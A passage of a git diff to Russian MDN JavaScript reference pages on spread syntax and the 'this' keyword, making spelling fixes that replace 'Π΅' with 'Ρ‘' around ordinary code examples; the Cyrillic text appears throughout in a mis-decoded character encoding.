-<p>Π‘ использованиСм spread syntax [Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠΉ способ создаСт Π½ΠΎΠ²Ρ‹ΠΉ массив <code>arr1</code>. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β {{jsxref("Array.unshift")}}, исходный массив Π½Π΅ мутируСтся]:</p>
+<p>Π‘ использованиСм spread syntax [Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠΉ способ создаёт Π½ΠΎΠ²Ρ‹ΠΉ массив <code>arr1</code>. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β {{jsxref("Array.unshift")}}, исходный массив Π½Π΅ мутируСтся]:</p>
<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
var arr2 = [3, 4, 5];
@@ -183,11 +183,11 @@ var mergedObj = merge ( obj1, obj2);
var mergedObj = merge ( {}, obj1, obj2);
// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ распространСния Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ: ΠΎΠ½ распространяСт <em>массив</em> Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² Π»ΠΈΡ‚Π΅Ρ€Π°Π» <em>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</em> благодаря ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρƒ rest.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ распространСния Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ: ΠΎΠ½ распространяСт <em>массив</em> Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² Π»ΠΈΡ‚Π΅Ρ€Π°Π» <em>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</em> благодаря ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρƒ rest.</p>
<h3 id="Волько_для_ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ…_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²">Волько для ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</h3>
-<p>Spread syntax ( ΠΊΡ€ΠΎΠΌΠ΅ случаСв spread properties) ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p>
+<p>Spread syntax ( ΠΊΡ€ΠΎΠΌΠ΅ случаСв spread properties) ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p>
<pre class="brush: js notranslate">var obj = {'key1': 'value1'};
var array = [...obj]; // TypeError: obj is not iterable
diff --git a/files/ru/web/javascript/reference/operators/this/index.html b/files/ru/web/javascript/reference/operators/this/index.html
index 59761d890e..b373d12fa1 100644
--- a/files/ru/web/javascript/reference/operators/this/index.html
+++ b/files/ru/web/javascript/reference/operators/this/index.html
@@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Operators/this
<p>ПовСдСниС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>this</code> Π² JavaScript нСсколько отличаСтся ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ языками. Π˜ΠΌΠ΅ΡŽΡ‚ΡΡ Ρ‚Π°ΠΊΠΆΠ΅ различия ΠΏΡ€ΠΈ использовании <code>this</code> Π² <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">строгом</a> ΠΈ нСстрогом Ρ€Π΅ΠΆΠΈΠΌΠ΅.</p>
-<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> опрСдСляСтся Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹Π·Π²Π°Π½Π° функция. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСно ΠΏΡƒΡ‚Π΅ΠΌ присваивания Π²ΠΎ врСмя исполнСния ΠΊΠΎΠ΄Π° ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’ ES5 прСдставлСн ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref('Function.prototype.bind()', 'bind()')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для {{jsxref('Operators/this','привязки значСния ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова this нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹Π·Π²Π°Π½Π° функция','ΠœΠ΅Ρ‚ΠΎΠ΄_bind')}}. Π’Π°ΠΊΠΆΠ΅ Π² ES2015 прСдставлСны {{jsxref('Functions/Arrow_functions', 'стрСлочныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ собствСнныС привязки ΠΊ <code>this</code> (ΠΎΠ½ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> лСксичСского окруТСния, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹Π»ΠΈ созданы).</p>
+<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> опрСдСляСтся Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹Π·Π²Π°Π½Π° функция. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСно ΠΏΡƒΡ‚Ρ‘ΠΌ присваивания Π²ΠΎ врСмя исполнСния ΠΊΠΎΠ΄Π° ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’ ES5 прСдставлСн ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref('Function.prototype.bind()', 'bind()')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для {{jsxref('Operators/this','привязки значСния ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова this нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹Π·Π²Π°Π½Π° функция','ΠœΠ΅Ρ‚ΠΎΠ΄_bind')}}. Π’Π°ΠΊΠΆΠ΅ Π² ES2015 прСдставлСны {{jsxref('Functions/Arrow_functions', 'стрСлочныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ собствСнныС привязки ΠΊ <code>this</code> (ΠΎΠ½ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> лСксичСского окруТСния, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹Π»ΠΈ созданы).</p>
<div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div>
@@ -65,7 +65,7 @@ f1() === window; // window - Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€
f1() === global; // global - Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² Node
</pre>
-<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> Π½Π΅ установлСно Π² контСкстС выполнСния, ΠΎΠ½ΠΎ остаСтся <code>undefined</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
+<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code> Π½Π΅ установлСно Π² контСкстС выполнСния, ΠΎΠ½ΠΎ остаётся <code>undefined</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
<pre class="brush:js">function f2(){
"use strict"; // см. strict mode
@@ -77,7 +77,7 @@ f2() === undefined; // true
<div class="note">Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <code>this</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>{{jsxref("undefined")}}</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ функция <code>f2</code> Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π° Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π° Π½Π΅ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠ»ΠΈ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>window.f2()</code>). РСализация этой особСнности Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π»Π°ΡΡŒ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π½Π°Ρ‡Π°Π»ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ {{jsxref('Strict_mode', 'строгий Ρ€Π΅ΠΆΠΈΠΌ')}}. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠ½ΠΈ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code>.</div>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ <code>this</code> Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{jsxref('Function.prototype.call()', 'call()')}} ΠΈΠ»ΠΈ {{jsxref('Function.prototype.apply()', 'apply()')}}, ΠΊΠ°ΠΊ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ….</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ <code>this</code> Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{jsxref('Function.prototype.call()', 'call()')}} ΠΈΠ»ΠΈ {{jsxref('Function.prototype.apply()', 'apply()')}}, ΠΊΠ°ΠΊ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ….</p>
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1</strong></p>
@@ -128,7 +128,7 @@ bar.call('foo'); // [object String]
<h3 id="ΠœΠ΅Ρ‚ΠΎΠ΄_bind">ΠœΠ΅Ρ‚ΠΎΠ΄ <code>bind</code></h3>
-<p>ECMAScript 5 прСдставил {{jsxref("Function.prototype.bind()")}}. Π’Ρ‹Π·ΠΎΠ² <code>f.bind(someObject)</code> создаСт Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с Ρ‚Π΅ΠΌ ΠΆΠ΅ Ρ‚Π΅Π»ΠΎΠΌ ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ дСйствия, Ρ‡Ρ‚ΠΎ ΠΈ <code>f</code>, Π½ΠΎ Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π² исходной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>this</code>, Π² Π½ΠΎΠ²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ½ΠΎ постоянно Π±ΡƒΠ΄Π΅Ρ‚ связано с ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ <code>bind</code>, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ функция ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ.</p>
+<p>ECMAScript 5 прСдставил {{jsxref("Function.prototype.bind()")}}. Π’Ρ‹Π·ΠΎΠ² <code>f.bind(someObject)</code> создаёт Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с Ρ‚Π΅ΠΌ ΠΆΠ΅ Ρ‚Π΅Π»ΠΎΠΌ ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ дСйствия, Ρ‡Ρ‚ΠΎ ΠΈ <code>f</code>, Π½ΠΎ Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π² исходной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>this</code>, Π² Π½ΠΎΠ²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ½ΠΎ постоянно Π±ΡƒΠ΄Π΅Ρ‚ связано с ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ <code>bind</code>, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ функция ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ.</p>
<pre>function f() {
return this.a;
@@ -155,7 +155,7 @@ console.log(foo() === globalObject); // true</code></pre>
<p>Note: Ссли Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β this пСрСдаётся Π² call,Β bind ΠΈΠ»ΠΈ applyΒ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ стрСлочной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½. Π’Ρ‹ всё Сщё моТСтС Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊ Π²Ρ‹Π·ΠΎΠ²Ρƒ, Π½ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ (thisArg) Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн Π² null.</p>
</div>
-<p>НСваТно, ΠΊΠ°ΠΊ стрСлочная функция <code>foo()</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Π΅Ρ‘Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ this Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π½Π° Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ своС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π΄Π°ΠΆΠ΅ Ссли функция <code>foo()</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Ρ‡Ρ‚ΠΎ Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… функциях связываСт <code>this</code> с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π°) ΠΈΠ»ΠΈ с использованиСм ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <code>call</code>, <code>apply</code> ΠΈΠ»ΠΈ <code>bind</code>:</p>
+<p>НСваТно, ΠΊΠ°ΠΊ стрСлочная функция <code>foo()</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Π΅Ρ‘Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ this Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π½Π° Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ своё Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π΄Π°ΠΆΠ΅ Ссли функция <code>foo()</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Ρ‡Ρ‚ΠΎ Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… функциях связываСт <code>this</code> с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π°) ΠΈΠ»ΠΈ с использованиСм ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <code>call</code>, <code>apply</code> ΠΈΠ»ΠΈ <code>bind</code>:</p>
<pre><code>// Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°
var obj = {foo: foo};
@@ -170,7 +170,7 @@ console.log(foo() === globalObject); // true</code></pre>
<p>НСсмотря Π½ΠΈ Π½Π° Ρ‡Ρ‚ΠΎ, <code>this</code> стрСлочной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>foo()</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€ΠΈ создании Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅). Π’ΠΎ ΠΆΠ΅ самоС касаСтся стрСлочных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, созданных Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ: ΠΈΡ… <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ привязан ΠΊ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΡŽ.</p>
-<pre><code>// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ obj, содСрТащий ΠΌΠ΅Ρ‚ΠΎΠ΄ bar, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ,
+<pre><code>// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ obj, содСрТащий ΠΌΠ΅Ρ‚ΠΎΠ΄ bar, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ,
// которая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ свой this. ВозвращаСмая функция создана
// ΠΊΠ°ΠΊ стрСлочная функция, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΅Ρ‘ this постоянно Π·Π°ΠΌΠΊΠ½ΡƒΡ‚
// Π½Π° this Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½Π° создана. </code>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ bar ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСно
@@ -195,7 +195,7 @@ var fn2 = obj.bar;
// ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ слСдуСт Π·Π° this ΠΈΠ· fn2.
console.log(fn2()() == window); // true</pre>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, функция (Π½Π°Π·ΠΎΠ²Π΅ΠΌ Π΅Ρ‘Β Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ A), присвоСнная ΠΌΠ΅Ρ‚ΠΎΠ΄ΡƒΒ <code>obj.bar</code>, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (Π½Π°Π·ΠΎΠ²Π΅ΠΌ Π΅Ρ‘Β Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ B) которая создана ΠΊΠ°ΠΊ стрСлочная функция. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, <code>this Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ B ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅Β Π·Π°ΠΌΠΊΠ½ΡƒΡ‚ Π½Π°</code> <code>this,</code> ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ <code>obj.bar</code> (Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ A). <code>this</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ B всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» ΠΏΡ€ΠΈ создании. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, <code>this Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ B</code> 